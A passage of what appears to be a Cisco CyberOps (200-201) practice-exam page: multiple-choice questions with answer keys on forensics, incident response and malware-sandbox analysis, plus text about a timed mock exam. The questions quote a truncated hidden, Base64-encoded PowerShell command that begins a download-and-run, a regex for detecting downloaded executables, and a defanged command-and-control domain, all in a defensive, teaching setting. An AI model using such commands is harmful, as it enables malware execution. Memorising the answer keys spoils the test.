consistent, and does not compromise the ongoing investigation. Which stakeholder or team should be assigned responsibility for managing communications with the news outlet and the public?","acceptedAnswer":{"@type":"Answer","text":"Public affairs / media relations"},"suggestedAnswer":[{"@type":"Answer","text":"Legal counsel"},{"@type":"Answer","text":"Human resources"},{"@type":"Answer","text":"IT support / help desk"}]},{"@context":"https://schema.org","@type":"Question","text":"A forensic analyst responding to a live compromised Linux server must collect evidence following NIST SP 800-86 guidance. The system is still powered on and connected to the network. According to the order of volatility, which data source should the analyst prioritize collecting FIRST?","acceptedAnswer":{"@type":"Answer","text":"The contents of the system's RAM and the running process/network connection state"},"suggestedAnswer":[{"@type":"Answer","text":"Log files stored on the local hard disk"},{"@type":"Answer","text":"Data archived to the organization's offsite backup tapes"},{"@type":"Answer","text":"Configuration files stored in the /etc directory on disk"}]},{"@context":"https://schema.org","@type":"Question","text":"A CyberOps analyst is establishing a digital forensics workflow based on NIST SP 800-86. After legally acquiring a suspect's hard drive image, the analyst needs to identify and extract relevant items such as file timestamps and application data before drawing conclusions for the incident report. According to the four-phase forensic process in NIST SP 800-86, which phase is the analyst performing when identifying and extracting these relevant items from the acquired data?","acceptedAnswer":{"@type":"Answer","text":"Examination"},"suggestedAnswer":[{"@type":"Answer","text":"Collection"},{"@type":"Answer","text":"Analysis"},{"@type":"Answer","text":"Reporting"}]},{"@context":"https://schema.org","@type":"Question","text":"A mid-size company is building its digital forensics capability. Following NIST SP 800-86 guidance, the security manager wants to ensure that when an incident occurs, analysts can immediately collect and preserve evidence without delay. Which action BEST reflects the NIST SP 800-86 recommendation for organizational readiness?","acceptedAnswer":{"@type":"Answer","text":"Establish forensic policies, train staff, and prepare a validated toolkit of hardware and software before any incident occurs"},"suggestedAnswer":[{"@type":"Answer","text":"Wait until an incident is confirmed, then purchase and validate forensic tools appropriate to that specific event"},{"@type":"Answer","text":"Rely solely on law enforcement to provide forensic tooling and expertise during any investigation"},{"@type":"Answer","text":"Focus exclusively on collecting the most volatile data and skip documentation until analysis is complete"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst confirms that several workstations are infected with a worm that is actively spreading across the internal network. Following NIST SP 800-61, the incident response team first disconnects the affected VLAN to stop the spread, then removes the malware and patches the exploited vulnerability, and finally restores the systems from clean backups and monitors them before returning them to production. Which NIST incident handling phase encompasses ALL of the actions the team performed in this sequence?","acceptedAnswer":{"@type":"Answer","text":"Containment, Eradication, and Recovery"},"suggestedAnswer":[{"@type":"Answer","text":"Detection and Analysis"},{"@type":"Answer","text":"Preparation"},{"@type":"Answer","text":"Post-Incident Activity"}]},{"@context":"https://schema.org","@type":"Question","text":"A network engineer reviews two firewall designs. Firewall A evaluates each packet independently against a static ruleset and has no memory of prior packets. Firewall B tracks the state of active connections in a connection table and automatically permits return traffic that belongs to an established session. During analysis of an outbound TCP session initiated by an internal host, which statement correctly describes how each firewall handles the inbound reply packets?","acceptedAnswer":{"@type":"Answer","text":"Firewall A requires an explicit inbound rule to permit the reply packets, while Firewall B permits them automatically based on the tracked connection state"},"suggestedAnswer":[{"@type":"Answer","text":"Both firewalls automatically permit the reply packets because the outbound session was allowed"},{"@type":"Answer","text":"Firewall B requires an explicit inbound rule because stateful firewalls do not track outbound sessions, while Firewall A permits replies automatically"},{"@type":"Answer","text":"Both firewalls inspect the Layer 7 application payload of the reply packets to decide whether to permit them"}]},{"@context":"https://schema.org","@type":"Question","text":"A finance department employee receives a phone call from someone claiming to be the company's IT help desk. The caller states that a security patch failed on the employee's workstation and urgently requests the employee's network credentials to 're-apply the update before the account is locked out.' No such patch activity is recorded in the IT ticketing system, and the caller's number is spoofed to resemble an internal extension. Which type of attack is being attempted?","acceptedAnswer":{"@type":"Answer","text":"Social engineering using a pretexting technique"},"suggestedAnswer":[{"@type":"Answer","text":"Man-in-the-middle attack intercepting authentication traffic"},{"@type":"Answer","text":"Command and control (C2) beaconing from a compromised host"},{"@type":"Answer","text":"Denial-of-service attack targeting the help desk phone line"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC is evaluating endpoint protection platforms. During testing, a brand-new malware variant with no prior hash record and no matching vendor signature is executed on a monitored host. The EPP flags the process as malicious because its runtime behavior—rapid file enumeration followed by mass encryption calls—statistically matches patterns learned from thousands of previous ransomware samples. Which detection capability of the endpoint technology is responsible for this catch?","acceptedAnswer":{"@type":"Answer","text":"Predictive AI/machine-learning behavioral modeling"},"suggestedAnswer":[{"@type":"Answer","text":"Signature-based detection matching a known malware hash"},{"@type":"Answer","text":"Rule-based detection matching an explicit static indicator"},{"@type":"Answer","text":"Allow-list enforcement blocking unapproved binaries"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is building a detection filter to flag proxy log entries where users downloaded potentially malicious executable or script files. The analyst writes the regular expression: \\.(exe|dll|ps1|bat)$ to match against the requested URL path. Which of the following filenames would this regex match?","acceptedAnswer":{"@type":"Answer","text":"update.exe"},"suggestedAnswer":[{"@type":"Answer","text":"invoice.pdf"},{"@type":"Answer","text":"exec_report.txt"},{"@type":"Answer","text":"script.ps1.zip"}]},{"@context":"https://schema.org","@type":"Question","text":"During analysis of a suspicious executable, an analyst uploads the file to a detonation chamber. The sandbox report's static analysis section shows a benign import table and no known signature match, but the dynamic analysis section records the process spawning cmd.exe, writing to the Startup folder, and initiating an outbound TCP connection to a rare foreign IP. Which conclusion is best supported by this sandbox output?","acceptedAnswer":{"@type":"Answer","text":"The file is malicious based on observed runtime behavior even though static indicators were clean"},"suggestedAnswer":[{"@type":"Answer","text":"The file is benign because static analysis found no matching signature or suspicious imports"},{"@type":"Answer","text":"The sandbox produced a false positive because the two analysis sections disagree"},{"@type":"Answer","text":"The file must be re-scanned with a signature-based antivirus to reach any verdict"}]},{"@context":"https://schema.org","@type":"Question","text":"During a malware investigation, an analyst submits a suspicious executable to an automated sandbox. The generated report shows the sample dropped a DLL into C:\\Users\\Public, spawned cmd.exe to disable Windows Defender, and modified file timestamps to match legitimate system files. Which behavior in this report specifically indicates the malware attempted anti-forensic activity?","acceptedAnswer":{"@type":"Answer","text":"Modifying file timestamps to match legitimate system files"},"suggestedAnswer":[{"@type":"Answer","text":"Dropping a DLL into C:\\Users\\Public"},{"@type":"Answer","text":"Spawning cmd.exe to disable Windows Defender"},{"@type":"Answer","text":"The executable being submitted to the sandbox for detonation"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst submits a suspicious executable to a malware detonation chamber. Reviewing the report, they want to determine whether this exact sample has been seen before by threat intelligence feeds without executing it again. Which section of the sandbox output report should the analyst reference?","acceptedAnswer":{"@type":"Answer","text":"The static analysis section listing the file's MD5, SHA-1, and SHA-256 hash values"},"suggestedAnswer":[{"@type":"Answer","text":"The dynamic analysis section listing runtime API calls and mutex creation"},{"@type":"Answer","text":"The network activity section listing DNS queries and outbound connections"},{"@type":"Answer","text":"The screenshot section capturing GUI dialogs shown during detonation"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst detonates a suspicious executable in a sandbox. The output report shows the following observed behaviors: a child process spawned, a file written to %APPDATA%, and an outbound DNS query to 'update-svc.badhost[.]net' followed by an HTTPS connection to 175.120.44.9 on port 443. Based on this section of the report, which type of indicator is MOST directly identified by the DNS query and HTTPS connection?","acceptedAnswer":{"@type":"Answer","text":"A network-based indicator of compromise showing likely command-and-control communication"},"suggestedAnswer":[{"@type":"Answer","text":"A host-based persistence mechanism established in the registry"},{"@type":"Answer","text":"A privilege escalation attempt using a stolen access token"},{"@type":"Answer","text":"A file integrity violation confirmed by a mismatched disk image hash"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst detonates a suspicious executable in a sandbox. The output report shows the following activity: the file wrote a copy of itself to %APPDATA%, created a value under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run pointing to that copy, spawned a child process, and made an outbound DNS query to a newly registered domain. Which behavior in the report indicates the malware is attempting to establish persistence on the host?","acceptedAnswer":{"@type":"Answer","text":"The value created under the CurrentVersion\\Run registry key"},"suggestedAnswer":[{"@type":"Answer","text":"The outbound DNS query to a newly registered domain"},{"@type":"Answer","text":"The spawning of a child process"},{"@type":"Answer","text":"The copy of the file written to %APPDATA%"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is evaluating the endpoint protection deployed across the organization. The current solution relies exclusively on a database of known malicious file hashes and byte patterns that must be updated daily. During a recent incident, a newly compiled variant of a known malware family bypassed the endpoint tool entirely, even though the family had been documented for months. Which characteristic of this detection technology best explains why the variant went undetected?","acceptedAnswer":{"@type":"Answer","text":"Signature-based detection can only identify threats that match a previously defined pattern, so a recompiled variant with a different hash evades it until a new signature is written"},"suggestedAnswer":[{"@type":"Answer","text":"The tool uses behavioral analytics that ignore file hashes, so it failed to flag the process activity"},{"@type":"Answer","text":"Predictive AI models require labeled training data and cannot detect variants of known families"},{"@type":"Answer","text":"Sandbox detonation was disabled, so the file was allowed to execute without dynamic analysis"}]},{"@context":"https://schema.org","@type":"Question","text":"During a forensic investigation, an analyst receives a suspect's disk image along with the acquisition documentation. The original acquisition log records a SHA-256 hash of the image taken at collection time. When the analyst recomputes the SHA-256 hash of the received image, the value differs from the one in the acquisition log. Additionally, the analyst notices several files whose modified timestamps postdate the recorded acquisition time. What conclusion best describes the state of this disk image?","acceptedAnswer":{"@type":"Answer","text":"The image has been tampered with and can no longer be trusted as an unaltered forensic copy"},"suggestedAnswer":[{"@type":"Answer","text":"The image is untampered because timestamp changes are expected during normal imaging"},{"@type":"Answer","text":"The hash difference is caused by the write blocker and does not indicate tampering"},{"@type":"Answer","text":"The image is valid as long as the file sizes match the original system"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, an analyst reviews a Windows host and finds the following entry in the Application event log: 'Event ID 1000, Application Error, Faulting application name: outlook.exe, Faulting module name: unknown.dll, Exception code: 0xc0000005'. The analyst also notes that unknown.dll is not signed and was created in a temp directory hours before the crash. What does this log entry most directly indicate?","acceptedAnswer":{"@type":"Answer","text":"An application crash involving an access violation triggered by an unsigned module"},"suggestedAnswer":[{"@type":"Answer","text":"A successful interactive user logon to the host"},{"@type":"Answer","text":"A scheduled Windows Update installation failure"},{"@type":"Answer","text":"A firewall rule blocking outbound traffic from Outlook"}]},{"@context":"https://schema.org","@type":"Question","text":"During a forensic investigation on a Windows workstation, an analyst suspects a malicious file was deleted before the machine was seized. The analyst needs to recover metadata about the deleted file, including its original name, size, and timestamps, even though the file's data clusters may have been reused. Which NTFS operating system component should the analyst examine to find this residual metadata?","acceptedAnswer":{"@type":"Answer","text":"The Master File Table (MFT)"},"suggestedAnswer":[{"@type":"Answer","text":"The Windows Registry SAM hive"},{"@type":"Answer","text":"The pagefile.sys swap file"},{"@type":"Answer","text":"The Volume Shadow Copy scheduler"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, an analyst reviews a Windows PowerShell operational transcript log and finds the following entry: 'powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AC4A...'. Based on interpreting this command-line log, what event does this entry most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"An obfuscated PowerShell execution using a Base64-encoded command with a hidden window to evade detection"},"suggestedAnswer":[{"@type":"Answer","text":"A legitimate scheduled maintenance script running with standard parameters"},{"@type":"Answer","text":"A normal user opening the PowerShell ISE to write a script interactively"},{"@type":"Answer","text":"A Windows Update process invoking PowerShell to apply a security patch"}]}]}

Cisco · Associate · Full-length timed mock

Cisco CCNA Cybersecurity (200-201 CCNACBR) (200-201) full-length practice exam

Sit a free, full-length 200-201 mock exam under real timed conditions: 90 exam-style questions in 120 minutes — about 80 seconds per question — with 75% to pass. The clock runs in real time and the screen stays completely ad-free from the moment you start until you submit.

Verified answer90 questions120 minutes

Questions

120 min

Time limit

75%

Pass mark

Domains

How this timed 200-201 mock exam works

One real-time clock. You get 120 minutes for all 90 questions. The timer counts down continuously — even if you close the tab — and the exam auto-submits the instant it reaches zero, exactly like the proctored test.
No answers until the end. Unlike topic drills, the mock hides feedback while you work. Choose an option, move on, and flag anything you want to revisit using the question navigator.
Jump around freely. The navigator grid shows which questions you have answered so you can manage your pace and return to skipped items before time runs out.
Your progress is saved. Answers, your place in the exam, and the remaining time are stored in your browser, so an accidental refresh drops you right back where you were.
Ad-free while you test. Ads only appear on this landing page. Once the exam starts, the screen is clean until you submit.

What your 200-201 results show

When you submit, you get an overall score against the 75% pass mark and a per-domain breakdown. Weak domains are highlighted in amber so you know exactly where to focus, and every question links straight to its full explanation and a breakdown of why each wrong option is wrong.

Security Concepts20% of exam

Security Monitoring25% of exam

Host-Based Analysis20% of exam

Network Intrusion Analysis20% of exam

Security Policies and Procedures15% of exam

How to get the most out of it

Treat this like the real exam: find a quiet hour, put your notes away, and do not pause. Aim to finish with a few minutes to spare so you can revisit flagged questions. If you clear the pass mark comfortably on two separate attempts, you are in good shape to book the live 200-201. If a single domain keeps dragging you down, drill it on the topic pages, then come back and retake the full mock.

Ready for the full 200-201 mock exam?

90 questions · 120 minutes · 75% to pass. The clock runs in real time and the screen stays ad-free until you submit — just like the real thing.